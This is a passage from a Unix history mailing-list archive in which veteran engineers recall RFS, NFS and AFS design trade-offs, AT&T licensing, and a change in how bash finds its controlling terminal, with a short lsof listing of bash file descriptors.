> On Wed, Sep 27, 2017 at 09:50:10AM -0400, Chet Ramey wrote:
> 
> > ksh93 uses fd 2 no matter what, so you don't get job control if you
> > redirect stderr away from the terminal.)

I'm fairly sure bash used to do something similar.

I recall having to hack it around '07/'08 to cope with being started
(possibly passing '-i' - I can't recall), when stderr was a pipe,
stdin/stout were a pty (which was the controlling terminal), yet finding
that job control didn't work.

DF



From chet.ramey at case.edu  Thu Sep 28 22:34:28 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Thu, 28 Sep 2017 08:34:28 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170928081059.GA6207@accordion.employees.org>
References: <alpine.BSF.2.21.1709260948560.42298@aneurin.horsfall.org>
 <646c7556-8300-d4ab-47fd-633352ea18e7@case.edu>
 <20170926145326.GX28606@mcvoy.com>
 <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
 <20170927020214.GG28606@mcvoy.com>
 <4e49a311-704d-6b70-92b3-27c6565f8aa0@case.edu>
 <20170927141706.GI28606@mcvoy.com>
 <20170928081059.GA6207@accordion.employees.org>
Message-ID: <28d99e78-8223-1756-6fa7-72e6b8254d00@case.edu>

On 9/28/17 4:10 AM, Derek Fawcus wrote:
> On Wed, Sep 27, 2017 at 07:17:06AM -0700, Larry McVoy wrote:
>> On Wed, Sep 27, 2017 at 09:50:10AM -0400, Chet Ramey wrote:
>>
>>> ksh93 uses fd 2 no matter what, so you don't get job control if you
>>> redirect stderr away from the terminal.)
> 
> I'm fairly sure bash used to do something similar.
> 
> I recall having to hack it around '07/'08 to cope with being started
> (possibly passing '-i' - I can't recall), when stderr was a pipe,
> stdin/stout were a pty (which was the controlling terminal), yet finding
> that job control didn't work.

Yes, that changed in 2007 based on bug reports you filed while working
at Cisco. The first release where it appeared was bash-4.0.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From jnc at mercury.lcs.mit.edu  Thu Sep 28 22:53:54 2017
From: jnc at mercury.lcs.mit.edu (Noel Chiappa)
Date: Thu, 28 Sep 2017 08:53:54 -0400 (EDT)
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
Message-ID: <20170928125354.CE4E318C088@mercury.lcs.mit.edu>

    > From: Theodore Ts'o

    > when a file was truncated and then rewritten, and "truncate this file"
    > packet got reordered and got received after the "here's the new 4k of
    > contents of the file", Hilar[i]ty Enused.

This sounds _exactly_ like a bad bug found in the RVD protocol (Remote Virtual
Disk - a simple block device emulator). Disks kept suffering bit rot (damage
to the inodes, IIRC). After much suffering, and pain trying to debug it (lots
of disk writes, how do you figure out the one that's the problem), it was
finally found (IIRC, it wasn't something thinking about it, they actually
caught it). Turned out (I'm pretty sure my memory of the bug is correct), if
you had two writes of the same block in quick sucession, and the second was
lost, if the first one's ack was delayed Just Enough...

They had an unused 'hint' (I think) field in the protocol, and so they
recycled that to be a sequence number, so they could tell ack's apart.

      Noel



From lm at mcvoy.com  Thu Sep 28 23:45:59 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 28 Sep 2017 06:45:59 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928031949.gzkgew4adwtedqjd@thunk.org>
References: <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <20170928003954.GJ28606@mcvoy.com>
 <20170928031949.gzkgew4adwtedqjd@thunk.org>
Message-ID: <20170928134559.GL28606@mcvoy.com>

On Wed, Sep 27, 2017 at 11:19:49PM -0400, Theodore Ts'o wrote:
> On Wed, Sep 27, 2017 at 05:39:54PM -0700, Larry McVoy wrote:
> > It's important to note, when talking about NFS, that there was Sun's NFS
> > and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
> > was where all the software that was not part of SunOS lived, it was an
> > NFS mounted volume (that was replicated to each subnet).  It was heavily
> > used as were a lot of other things.  The automounter at Sun just worked,
> > wanted to see your buddies stuff?  You just cd-ed to it and it worked.
> 
> So the story that went around MIT Project Athena was that there was
> Sun's NFS, and then there was the version which Sun gave way for
> others to use, which was a clean-room re-implementation by a
> relatively junior engineer.  Which is why when a file was truncated
> and then rewritten, and "truncate this file" packet got reordered and
> got received after the "here's the new 4k of contents of the file",
> Hilarty Enused.

No, the problem was that people didn't understand open to close
semantics.  Sun was actually an engineering organization that took
the rules seriously.   You know, stuff like sync writes actually
need being sync in order to get the semantics right.



From arnold at skeeve.com  Thu Sep 28 23:49:17 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Thu, 28 Sep 2017 07:49:17 -0600
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
Message-ID: <201709281349.v8SDnHp2005910@freefriends.org>

Kevin Bowling <kevin.bowling at kev009.com> wrote:

> I guess alternatively, what was interesting or neat, about RFS, if
> anything?  And what was bad?

Good: Stateful implementation, remote devices worked.

Bad: Sent binary over the wire, making interoperability harder. Also,
at System V Relese 3 AT&T made the licensing terms much harder for
the big vendors to swallow (Dec, IBM, HP ...) so many of them didn't
bother. I don't remember the details; something like having to pass
a validation suite to be called "UNIX" and who knows what else.

As others have noted, the Unix wars were a sad, sad story, and I'd
as soon not see the details rehashed endlessly. But licensing was
a big factor in the non-adoption of RFS, not just the technical side.
Sigh.

Arnold



From lm at mcvoy.com  Fri Sep 29 00:07:00 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 28 Sep 2017 07:07:00 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <201709281349.v8SDnHp2005910@freefriends.org>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
Message-ID: <20170928140700.GN28606@mcvoy.com>

On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold at skeeve.com wrote:
> Kevin Bowling <kevin.bowling at kev009.com> wrote:
> 
> > I guess alternatively, what was interesting or neat, about RFS, if
> > anything?  And what was bad?
> 
> Good: Stateful implementation, remote devices worked.

I'd argue that stateful is really hard to get right when machines panic
or reboot.  Maybe you can do it on the client but how does one save all
that state on the server when the server crashes?

NFS seems simple in hindsight but like a lot of things, getting to that
simple wasn't chance, it was designed to be stateless because nobody
had a way to save the state in any reasonable way.



From david at kdbarto.org  Fri Sep 29 00:08:27 2017
From: david at kdbarto.org (David)
Date: Thu, 28 Sep 2017 07:08:27 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <mailman.1219.1506559196.3779.tuhs@minnie.tuhs.org>
References: <mailman.1219.1506559196.3779.tuhs@minnie.tuhs.org>
Message-ID: <F462CA30-F8D4-4956-8F38-8D92306BAC49@kdbarto.org>

> 
> It's important to note, when talking about NFS, that there was Sun's NFS
> and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
> was where all the software that was not part of SunOS lived, it was an
> NFS mounted volume (that was replicated to each subnet).  It was heavily
> used as were a lot of other things.  The automounter at Sun just worked,
> wanted to see your buddies stuff?  You just cd-ed to it and it worked.
> 
> Much like mmap, NFS did not export well to other companies.  When I went
> to SGI I actually had a principle engineer (like Suns distinguished
> engineer) tell me "nobody trusts NFS, use rcp if you care about your
> data".  What.  The.  Fuck.  At Sun, NFS just worked.  All the time.
> The idea that it would not work was unthinkable and if it ever did
> not work it got fixed right away.
> 
> Other companies, it was a checkbox thing, it sorta worked.  That was
> an eye opener for me.  mmap was the same way, Sun got it right and 
> other companies sort of did.
> 
I remember the days of NFS Connect-a-thons where all the different
vendors would get together and see if they all interoperated. It was
interesting to see who worked and who didn’t. And all the hacking to
fix your implementation to talk to vendor X while not breaking it working
with vendor Y.

Good times indeed.

	David



From tytso at mit.edu  Fri Sep 29 00:09:06 2017
From: tytso at mit.edu (Theodore Ts'o)
Date: Thu, 28 Sep 2017 10:09:06 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928125354.CE4E318C088@mercury.lcs.mit.edu>
References: <20170928125354.CE4E318C088@mercury.lcs.mit.edu>
Message-ID: <20170928140906.3nzz4bi6cy76qfxu@thunk.org>

On Thu, Sep 28, 2017 at 08:53:54AM -0400, Noel Chiappa wrote:
>     > From: Theodore Ts'o
> 
>     > when a file was truncated and then rewritten, and "truncate this file"
>     > packet got reordered and got received after the "here's the new 4k of
>     > contents of the file", Hilar[i]ty Enused.
> 
> This sounds _exactly_ like a bad bug found in the RVD protocol (Remote Virtual
> Disk - a simple block device emulator). Disks kept suffering bit rot (damage
> to the inodes, IIRC). After much suffering, and pain trying to debug it (lots
> of disk writes, how do you figure out the one that's the problem), it was
> finally found (IIRC, it wasn't something thinking about it, they actually
> caught it). Turned out (I'm pretty sure my memory of the bug is correct), if
> you had two writes of the same block in quick sucession, and the second was
> lost, if the first one's ack was delayed Just Enough...

At least at Project Athena, we only used RVD as a way to do read-only
dissemination of system software, since RVD couldn't provide any kind
of file sharing, which was important at Athena.  So we used NFS
initially, and later on, transitioned to the Andrew File System (AFS).

The fact that with AFS you could do live migration of a user's home
directory, in the middle of day, to replace a drive that was making
early signs of failure --- was such that all of our ops people
infinitely preferred AFS to NFS.  NFS meant coming in late at night,
after scheduling downtime, to replace a failing disk, where as with
AFS, aside from a 30 second hiccup when the AFS volume was swept from
one server to another, was such that AFS was referred to as "crack
cocaine".  One ops people had a sniff of AFS, they never wanted to go
back to NFS.

						- Ted



From clemc at ccc.com  Fri Sep 29 00:27:14 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 28 Sep 2017 10:27:14 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <201709281349.v8SDnHp2005910@freefriends.org>
References: <c38ba7b5-e867-93a3-14a2-c61c90bb49b5@kilonet.net>
 <alpine.BSF.2.21.1709201036150.89458@aneurin.horsfall.org>
 <20170923091704.GD10152@darioniedermann.it>
 <CANuZA8QHNn=6Gg-Sm20s-0PSsS7y26c=uNbNETUX74Tx1A=DWQ@mail.gmail.com>
 <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
Message-ID: <CAC20D2Op5Zq_7dZpAyDgik1NLh1zs3tC1YX9DAqXGq1HtysYOg@mail.gmail.com>

On Thu, Sep 28, 2017 at 9:49 AM, <arnold at skeeve.com> wrote:

> Kevin Bowling <kevin.bowling at kev009.com> wrote:
>
> > I guess alternatively, what was interesting or neat, about RFS, if
> > anything?  And what was bad?
>
> Good: Stateful implementation, remote devices worked.

​Right -- and full POSIX FS system semantics.  Everything worked as you
expected - no surprises.



>
>
> Bad: Sent binary over the wire, making interoperability harder.

​Yup - Peter used a very simple function shipping model in Eighth edition
and Dave did the same with RFS.   With Plan8 they got more sophisticated.
Plan8 and EFS were more similar in that aspect.​

The other thing RFS did not have 'out of the box' was a 'diskless.'

Truth is that an Sun-3 running 'diskless' != as an Apollo running
'twinned.'  [There is a famous Clem' story I'll not repeat here from
Masscomp about a typo I made, but your imagination would probably be right
- when I refused to do build a diskless system for Masscomp]....

But 'diskless' was the worlds sleaziest 'add-in' disk business and Sun sold
a ton of systems.   People were not going to toss out their diskless system
when they discovered the performance sucked.  The bought a disk for them
(even though a Masscomp or an Apollo with a disk was cheaper to start).

[It was brilliant marketing on Sun's part...  It was the #1 thing that made
Sun succeed early on.  NFS and the low end entry system made Sun .. they
nailed it.]



> Also,
> ​ ​
> at System V Relese 3 AT&T made the licensing terms much harder for
> ​ ​
> the big vendors to swallow (Dec, IBM, HP ...) so many of them didn't
> bother.

​The funny part was the SVR3 was the 'final' license most of the vendors
used (IBM, HP, DEC) when it was done.  IBM and HP both bought it out.   DEC
never did, although DEC shipped Tru64 on an SVR3 license.

Sun bought out an SRV4 license but that was different.​



> I don't remember the details; something like having to pass
> a validation suite to be called "UNIX" and who knows what else.

​The suite was only part of the issue, there were other terms that AT&T
back-ed off, when IBM, HP et al pushed back.    They all have System-III
licenses, AT&T really wanted to move them to SVR3 licenses.




>
>
> As others have noted, the Unix wars were a sad, sad story, and I'd
> as soon not see the details rehashed endlessly.

​I agree - it was a sad, sad time.   It was 'who was going to control this'
issue.​
None of them could see, the tighter the grabbed, the less control they had
and more the seeded control the Microsoft.   As you said, sad, sad, time...




> But licensing was
> ​ ​
> a big factor in the non-adoption of RFS, not just the technical side.
> Sigh


​Hmm...   I'm not so sure.   If RFS had come out before NFS, maybe.  But
NFS took root and was cheap and easy and good enough for what people needed
to do most everything.

That was what made it a brilliant solution.  I admire Kleiman for find the
hole and doing such a good job of filling it.

In many ways, Dave did 'more' with RFS but it was 'harder' to in a number
of different ways to consume (both technical and political)
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170928/21c511e7/attachment.html>

From clemc at ccc.com  Fri Sep 29 00:35:39 2017
From: clemc at ccc.com (Clem Cole)
Date: Thu, 28 Sep 2017 10:35:39 -0400
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928140906.3nzz4bi6cy76qfxu@thunk.org>
References: <20170928125354.CE4E318C088@mercury.lcs.mit.edu>
 <20170928140906.3nzz4bi6cy76qfxu@thunk.org>
Message-ID: <CAC20D2N_cy90DwVpDTD6cAOYNo4Sd508jVvqTDx5viBRLe3HRA@mail.gmail.com>

On Thu, Sep 28, 2017 at 10:09 AM, Theodore Ts'o <tytso at mit.edu> wrote:

> One ops people had a sniff of AFS, they never wanted to go
> ​ ​
> back to NFS.
>
​Amen... and once you switched to a token manager or dlm under the covers
to do the locking, you never could understand why wouldn't do it properly.​

Although the brilliance of NFS was its easy of getting out there getting
people addicted to using a distributed FS.  That was what Sun nailed.

And just like communism had to add 'work incentives' -- NFS added state :-)

Clem
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170928/9b91eafe/attachment.html>

From arnold at skeeve.com  Fri Sep 29 00:28:08 2017
From: arnold at skeeve.com (arnold at skeeve.com)
Date: Thu, 28 Sep 2017 08:28:08 -0600
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928140700.GN28606@mcvoy.com>
References: <CALMnNGgMSmqQ56r7xTRNdrDYfRiMieQ48kuZfWtSKd+yjmP2tg@mail.gmail.com>
 <CAP6exYKxC2g06dSRiM8-0BLN08AEWyO-8a0VAcy3vP4H3-8o8A@mail.gmail.com>
 <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <20170928140700.GN28606@mcvoy.com>
Message-ID: <201709281428.v8SES819010466@freefriends.org>


> > Kevin Bowling <kevin.bowling at kev009.com> wrote:
> > 
> > > I guess alternatively, what was interesting or neat, about RFS, if
> > > anything?  And what was bad?

> On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold at skeeve.com wrote:
> > Good: Stateful implementation, remote devices worked.

Larry McVoy <lm at mcvoy.com> wrote:

> I'd argue that stateful is really hard to get right when machines panic
> or reboot.  Maybe you can do it on the client but how does one save all
> that state on the server when the server crashes?
>
> NFS seems simple in hindsight but like a lot of things, getting to that
> simple wasn't chance, it was designed to be stateless because nobody
> had a way to save the state in any reasonable way.

I won't disagree with you.

I remember that stateful vs. stateless was one of the big technical
debates of the time, and I remember that (my impression of) the general
feeling was that stateful was better but much harder to do / get right.
(Again, I don't want to start another long thread over this, especially
as I don't really remember any more than what I just wrote.)

So we can downgrade "stateful" from "good" to "different" and let
it go at that. :-)

Thanks,

Arnold



From scj at yaccman.com  Fri Sep 29 03:12:31 2017
From: scj at yaccman.com (Steve Johnson)
Date: Thu, 28 Sep 2017 10:12:31 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <20170928134559.GL28606@mcvoy.com>
Message-ID: <1491baa68fbcbe2453d85900119536b7352cfed7@webmail.yaccman.com>

I remember Bill Joy visiting Bell Labs and getting a very complete
demo of RFS and being very impressed.  Within a year, Sun announced
NFS.  It took USG 18 months after that to get RFS out the door. 
Just another example of how AT&T could take a technical advantage and
manage to squander it...

Steve


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20170928/7e039008/attachment.html>

From pete at nomadlogic.org  Fri Sep 29 03:22:10 2017
From: pete at nomadlogic.org (Pete Wright)
Date: Thu, 28 Sep 2017 10:22:10 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <F462CA30-F8D4-4956-8F38-8D92306BAC49@kdbarto.org>
References: <mailman.1219.1506559196.3779.tuhs@minnie.tuhs.org>
 <F462CA30-F8D4-4956-8F38-8D92306BAC49@kdbarto.org>
Message-ID: <ca0ff6e7-16a2-160b-fe1b-059aeb57895c@nomadlogic.org>



On 09/28/2017 07:08, David wrote:
>> It's important to note, when talking about NFS, that there was Sun's NFS
>> and everyone else's NFS.  Sun ran their entire company on NFS.  /usr/dist
>> was where all the software that was not part of SunOS lived, it was an
>> NFS mounted volume (that was replicated to each subnet).  It was heavily
>> used as were a lot of other things.  The automounter at Sun just worked,
>> wanted to see your buddies stuff?  You just cd-ed to it and it worked.
>>
>> Much like mmap, NFS did not export well to other companies.  When I went
>> to SGI I actually had a principle engineer (like Suns distinguished
>> engineer) tell me "nobody trusts NFS, use rcp if you care about your
>> data".  What.  The.  Fuck.  At Sun, NFS just worked.  All the time.
>> The idea that it would not work was unthinkable and if it ever did
>> not work it got fixed right away.
>>
>> Other companies, it was a checkbox thing, it sorta worked.  That was
>> an eye opener for me.  mmap was the same way, Sun got it right and
>> other companies sort of did.
>>
> I remember the days of NFS Connect-a-thons where all the different
> vendors would get together and see if they all interoperated. It was
> interesting to see who worked and who didn’t. And all the hacking to
> fix your implementation to talk to vendor X while not breaking it working
> with vendor Y.
>
> Good times indeed.

It is funny you mention this - someone mentioned RedHat is doing 
something similar to this in Boston next week:

https://lists.freebsd.org/pipermail/freebsd-current/2017-September/067013.html

-pete

-- 
Pete Wright
pete at nomadlogic.org
@nomadlogicLA



From dfawcus+lists-tuhs at employees.org  Fri Sep 29 03:57:26 2017
From: dfawcus+lists-tuhs at employees.org (Derek Fawcus)
Date: Thu, 28 Sep 2017 18:57:26 +0100
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170928174420.GA41732@accordion.employees.org>
References: <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
 <20170927020214.GG28606@mcvoy.com>
 <4e49a311-704d-6b70-92b3-27c6565f8aa0@case.edu>
 <20170927141706.GI28606@mcvoy.com>
 <20170928081059.GA6207@accordion.employees.org>
 <28d99e78-8223-1756-6fa7-72e6b8254d00@case.edu>
 <20170928174420.GA41732@accordion.employees.org>
Message-ID: <20170928175726.GB41732@accordion.employees.org>

On Thu, Sep 28, 2017 at 06:44:20PM +0100, Derek Fawcus wrote:
> On Thu, Sep 28, 2017 at 08:34:28AM -0400, Chet Ramey wrote:
> > Yes, that changed in 2007 based on bug reports you filed while working at Cisco.
> 
> So fd 255 is my fault? :-)

Or not - given that macOS, using an older bash already used 255:

$ set|fgrep VERSION
BASH_VERSION='3.2.57(1)-release'
$ lsof -p $$|fgrep CHR
bash    6843 derek    0u   CHR  16,10  0t554677     701 /dev/ttys010
bash    6843 derek    1u   CHR  16,10  0t554677     701 /dev/ttys010
bash    6843 derek    2u   CHR  16,10  0t554677     701 /dev/ttys010
bash    6843 derek  255u   CHR  16,10  0t554677     701 /dev/ttys010

DF



From nobozo at gmail.com  Fri Sep 29 03:58:48 2017
From: nobozo at gmail.com (Forrest, Jon)
Date: Thu, 28 Sep 2017 10:58:48 -0700
Subject: [TUHS] Bill Joy was: Re: RFS
In-Reply-To: <1491baa68fbcbe2453d85900119536b7352cfed7@webmail.yaccman.com>
References: <1491baa68fbcbe2453d85900119536b7352cfed7@webmail.yaccman.com>
Message-ID: <5836fda0-02d0-747c-14db-e9fc631f3395@gmail.com>



On 9/28/2017 10:12 AM, Steve Johnson wrote:
> I remember Bill Joy visiting Bell Labs and getting a very complete demo of RFS 
> and being very impressed.  Within a year, Sun announced NFS.  It took USG 18 
> months after that to get RFS out the door.  Just another example of how AT&T 
> could take a technical advantage and manage to squander it...

Speaking of Bill Joy, I remember going to a Unix group meeting at SRI sometime
in late 1977 or early 1978. I was working for Ford Aerospace, an early
commercial Unix adopter. I don't remember who was speaking, but at the end of
the talk somebody from the back of the auditorium asked a very deep
intelligent question. The person speaking was quite taken back by the quality
of the question, and asked who the person was. The person said "I'm Bill Joy,
a graduate student at Berkeley".

The rest is history.

Jon




From chet.ramey at case.edu  Fri Sep 29 04:04:55 2017
From: chet.ramey at case.edu (Chet Ramey)
Date: Thu, 28 Sep 2017 14:04:55 -0400
Subject: [TUHS] UNIX of choice these days?
In-Reply-To: <20170928175726.GB41732@accordion.employees.org>
References: <alpine.BSF.2.21.1709270720520.42298@aneurin.horsfall.org>
 <a0a43777-6f0d-bf94-c07d-369c29c6adf9@tnetconsulting.net>
 <alpine.BSF.2.21.1709271050070.47452@aneurin.horsfall.org>
 <b7814add-ee06-af8e-0947-ed4cbff4d83d@case.edu>
 <20170927020214.GG28606@mcvoy.com>
 <4e49a311-704d-6b70-92b3-27c6565f8aa0@case.edu>
 <20170927141706.GI28606@mcvoy.com>
 <20170928081059.GA6207@accordion.employees.org>
 <28d99e78-8223-1756-6fa7-72e6b8254d00@case.edu>
 <20170928174420.GA41732@accordion.employees.org>
 <20170928175726.GB41732@accordion.employees.org>
Message-ID: <da981705-3fc1-7aff-9846-fc3ab1a513cf@case.edu>

On 9/28/17 1:57 PM, Derek Fawcus wrote:
> On Thu, Sep 28, 2017 at 06:44:20PM +0100, Derek Fawcus wrote:
>> On Thu, Sep 28, 2017 at 08:34:28AM -0400, Chet Ramey wrote:
>>> Yes, that changed in 2007 based on bug reports you filed while working at Cisco.
>>
>> So fd 255 is my fault? :-)
> 
> Or not - given that macOS, using an older bash already used 255:

No, the opening of /dev/tty to get the controlling terminal instead of
assuming you can use fd 2 for it is your fault. :-)

Bash always used an unused fd close to the fd limit to save the handle.

-- 
``The lyf so short, the craft so long to lerne.'' - Chaucer
		 ``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, UTech, CWRU    chet at case.edu    http://cnswww.cns.cwru.edu/~chet/



From doug at cs.dartmouth.edu  Fri Sep 29 05:19:27 2017
From: doug at cs.dartmouth.edu (Doug McIlroy)
Date: Thu, 28 Sep 2017 15:19:27 -0400
Subject: [TUHS] [Groff] pic.ps
Message-ID: <201709281919.v8SJJR6F020244@coolidge.cs.Dartmouth.EDU>

>> The Fedora system I have access to lacks /usr/share/doc/groff

>  Fedora defaults to loading only the package
"groff-base" so that man pages can be displayed.  To actually use
groff for any other purpose, the packages "groff", "groff-doc",
"groff-perl", and "groff-X11" have to be installed.  Annoying, but
there it is.

That explains all. Thanks.

doug



From lm at mcvoy.com  Fri Sep 29 05:49:23 2017
From: lm at mcvoy.com (Larry McVoy)
Date: Thu, 28 Sep 2017 12:49:23 -0700
Subject: [TUHS] RFS was: Re: UNIX of choice these days?
In-Reply-To: <201709281428.v8SES819010466@freefriends.org>
References: <CAC20D2MKSzQEfmD0dnKYv-0V00TkL6f_-Dv4Gs1diOrBLS8x3Q@mail.gmail.com>
 <b6e8b71c-ba04-bbfb-00db-c371ee62cdb8@kilonet.net>
 <CAC20D2PYANmz2=oWCHX6h3jM5bxFBbzQZHDZXP00idyw+fwDZw@mail.gmail.com>
 <201709270844.v8R8i2kd021180@freefriends.org>
 <CAK7dMtBkpreyncAoc-CPsUgFeMvQpdBEynX3pmS-8Z0KXn8Y1A@mail.gmail.com>
 <CAC20D2NU6ErExdOuT6PNucf4VhuLKwW1=AcbaOdKtV3vocrFkg@mail.gmail.com>
 <CAK7dMtCER7LZ+WmQNRNH-YwYspD6jL7W370Q67Vou0Rp+YWv=Q@mail.gmail.com>
 <201709281349.v8SDnHp2005910@freefriends.org>
 <20170928140700.GN28606@mcvoy.com>
 <201709281428.v8SES819010466@freefriends.org>
Message-ID: <20170928194923.GW28606@mcvoy.com>

On Thu, Sep 28, 2017 at 08:28:08AM -0600, arnold at skeeve.com wrote:
> 
> > > Kevin Bowling <kevin.bowling at kev009.com> wrote:
> > > 
> > > > I guess alternatively, what was interesting or neat, about RFS, if
> > > > anything?  And what was bad?
> 
> > On Thu, Sep 28, 2017 at 07:49:17AM -0600, arnold at skeeve.com wrote:
> > > Good: Stateful implementation, remote devices worked.
> 
